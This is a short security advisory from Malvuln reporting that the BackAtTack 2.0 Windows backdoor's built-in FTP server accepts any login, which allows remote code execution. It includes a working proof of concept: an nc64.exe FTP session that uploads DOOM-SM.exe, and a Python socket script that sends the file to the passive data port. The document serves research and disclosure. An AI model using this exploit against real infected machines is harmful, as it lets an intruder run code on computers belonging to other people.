Backdoor.Win32.BackAttack.20 malware suffers from bypass and code execution vulnerabilities.
f6246f6defa5fc357e11c1a3628bfbf9Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.BackAttack.20
Vulnerability: Authentication Bypass RCE
Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can enable its FTP server. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 8b484576f928c256277016104cc364c2
Vuln ID: MVID-2021-0424
Disclosure: 12/11/2021
Exploit/PoC:
nc64.exe 192.168.18.125 21
220 httP://www.CurrenTChaoS.Tk - BackAtTack2.0 ftp server-
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,33).
STOR DOOM-SM.exe
150 Opening data connection for DOOM-SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=49697
DOOM="DOOM-SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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